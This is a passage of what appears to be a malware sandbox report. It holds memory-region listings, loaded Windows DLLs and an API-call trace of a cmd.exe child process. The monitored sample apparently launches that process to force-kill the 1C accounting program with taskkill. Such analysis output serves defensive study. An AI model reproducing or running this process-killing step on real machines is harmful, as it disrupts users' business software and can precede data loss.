= 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 1974 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1975 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1976 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1977 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1978 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1979 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1980 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1981 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1982 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1983 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1984 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1985 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1986 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1987 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1988 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1989 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1990 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1991 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1992 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1993 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1994 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1995 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1996 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1997 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1998 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1999 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2000 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2001 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2002 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2003 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2004 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2005 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2006 start_va = 0x5d0000 end_va = 0x750fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2007 start_va = 0x760000 end_va = 0x81ffff entry_point = 0x760000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2008 start_va = 0x850000 end_va = 0x1c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2009 start_va = 0x1ce0000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 2010 start_va = 0x1d20000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 2011 start_va = 0x1e30000 end_va = 0x1e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 2012 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2013 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2014 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2015 start_va = 0x75130000 end_va = 0x7518bfff entry_point = 0x75130000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2016 start_va = 0x75190000 end_va = 0x75199fff entry_point = 0x75190000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2017 start_va = 0x1e70000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 2018 start_va = 0x1f70000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2019 start_va = 0x75100000 end_va = 0x75128fff entry_point = 0x75100000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2020 start_va = 0x1d70000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 2021 start_va = 0x1dc0000 end_va = 0x1dfffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2022 start_va = 0x1fb0000 end_va = 0x227efff entry_point = 0x1fb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2023 start_va = 0x750e0000 end_va = 0x750f5fff entry_point = 0x750e0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2024 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2025 start_va = 0x74f80000 end_va = 0x74fbafff entry_point = 0x74f80000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2026 start_va = 0x750d0000 end_va = 0x750ddfff entry_point = 0x750d0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2027 start_va = 0x2330000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 2028 start_va = 0x2390000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 2029 start_va = 0x23e0000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 2030 start_va = 0x2460000 end_va = 0x249ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2031 start_va = 0x750c0000 end_va = 0x750cefff entry_point = 0x750c0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2032 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2033 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2034 start_va = 0x74ec0000 end_va = 0x74ed7fff entry_point = 0x74ec0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2035 start_va = 0x74ee0000 end_va = 0x74f75fff entry_point = 0x74ee0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2036 start_va = 0x74ea0000 end_va = 0x74eb6fff entry_point = 0x74ea0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Thread: id = 81 os_tid = 0xbc4 Thread: id = 82 os_tid = 0xbc8 Thread: id = 83 os_tid = 0xbcc Thread: id = 84 os_tid = 0xbd0 Thread: id = 85 os_tid = 0xbd4 Process: id = "32" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x48be1000" os_pid = "0xbdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c taskkill /im 1cv7.exe /T /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2037 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2038 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2039 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2040 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2041 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2042 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2043 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2044 start_va = 0x4a410000 end_va = 0x4a45bfff entry_point = 0x4a410000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 2045 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2046 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2047 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2048 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2049 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2050 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2051 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2052 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2053 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2054 start_va = 0x120000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2055 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2056 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2057 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2058 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2059 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2060 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2061 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2062 start_va = 0x510000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2063 start_va = 0x75270000 end_va = 0x75276fff entry_point = 0x75270000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 2064 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2065 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2066 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2067 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2068 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2069 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2070 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2071 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2072 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2073 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2074 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2075 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2076 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2077 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2078 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2079 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2080 start_va = 0x610000 end_va = 0x797fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 2081 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2082 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2083 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2084 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2085 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2086 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2087 start_va = 0x7a0000 end_va = 0x920fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 2088 start_va = 0x930000 end_va = 0x1d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 2089 start_va = 0x1d30000 end_va = 0x2072fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 2090 start_va = 0x2080000 end_va = 0x234efff entry_point = 0x2080000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 86 os_tid = 0xbe0 [0045.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x45facc | out: lpSystemTimeAsFileTime=0x45facc*(dwLowDateTime=0xda10df80, dwHighDateTime=0x1d4abdd)) [0045.859] GetCurrentProcessId () returned 0xbdc [0045.859] GetCurrentThreadId () returned 0xbe0 [0045.859] GetTickCount () returned 0x1a968 [0045.859] QueryPerformanceCounter (in: lpPerformanceCount=0x45fac4 | out: lpPerformanceCount=0x45fac4*=1812108900000) returned 1 [0045.861] GetModuleHandleA (lpModuleName=0x0) returned 0x4a410000 [0045.861] __set_app_type (_Type=0x1) [0045.861] __p__fmode () returned 0x75ed31f4 [0045.861] __p__commode () returned 0x75ed31fc [0045.861] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4321a6) returned 0x0 [0045.861] __getmainargs (in: _Argc=0x4a434238, _Argv=0x4a434240, _Env=0x4a43423c, _DoWildCard=0, _StartInfo=0x4a434140 | out: _Argc=0x4a434238, _Argv=0x4a434240, _Env=0x4a43423c) returned 0 [0045.861] GetCurrentThreadId () returned 0xbe0 [0045.862] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbe0) returned 0x60 [0045.862] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0045.862] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0045.862] SetThreadUILanguage (LangId=0x0) returned 0x409 [0045.862] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0045.862] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x45fa5c | out: phkResult=0x45fa5c*=0x0) returned 0x2 [0045.863] VirtualQuery (in: lpAddress=0x45fa93, lpBuffer=0x45fa2c, dwLength=0x1c | out: lpBuffer=0x45fa2c*(BaseAddress=0x45f000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.863] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x45fa2c, dwLength=0x1c | out: lpBuffer=0x45fa2c*(BaseAddress=0x360000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0045.863] VirtualQuery (in: lpAddress=0x361000, lpBuffer=0x45fa2c, dwLength=0x1c | out: lpBuffer=0x45fa2c*(BaseAddress=0x361000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0045.863] VirtualQuery (in: lpAddress=0x363000, lpBuffer=0x45fa2c, dwLength=0x1c | out: lpBuffer=0x45fa2c*(BaseAddress=0x363000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.863] VirtualQuery (in: lpAddress=0x460000, lpBuffer=0x45fa2c, dwLength=0x1c | out: lpBuffer=0x45fa2c*(BaseAddress=0x460000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.863] GetConsoleOutputCP () returned 0x1b5 [0045.863] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1 [0045.863] SetConsoleCtrlHandler (HandlerRoutine=0x4a42e72a, Add=1) returned 1 [0045.863] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.863] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0045.863] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.863] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4341ac | out: lpMode=0x4a4341ac) returned 1 [0045.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0045.864] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0045.864] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.864] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4341b0 | out: lpMode=0x4a4341b0) returned 1 [0045.864] _get_osfhandle (_FileHandle=0) returned 0x3 [0045.864] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0045.865] GetEnvironmentStringsW () returned 0x522b28* [0045.865] FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0045.865] GetEnvironmentStringsW () returned 0x522b28* [0045.865] FreeEnvironmentStringsW (penv=0x522b28) returned 1 [0045.865] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45e9cc | out: phkResult=0x45e9cc*=0x6c) returned 0x0 [0045.865] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x32, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.865] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x1, lpcbData=0x45e9d0*=0x4) returned 0x0 [0045.865] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x0, lpData=0x45e9d8*=0x1, lpcbData=0x45e9d0*=0x1000) returned 0x2 [0045.865] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45e9d4, lpData=0x45e9d8, lpcbData=0x45e9d0*=0x1000 | out: lpType=0x45e9d4*=0x4, lpData=0x45e9d8*=0x0, 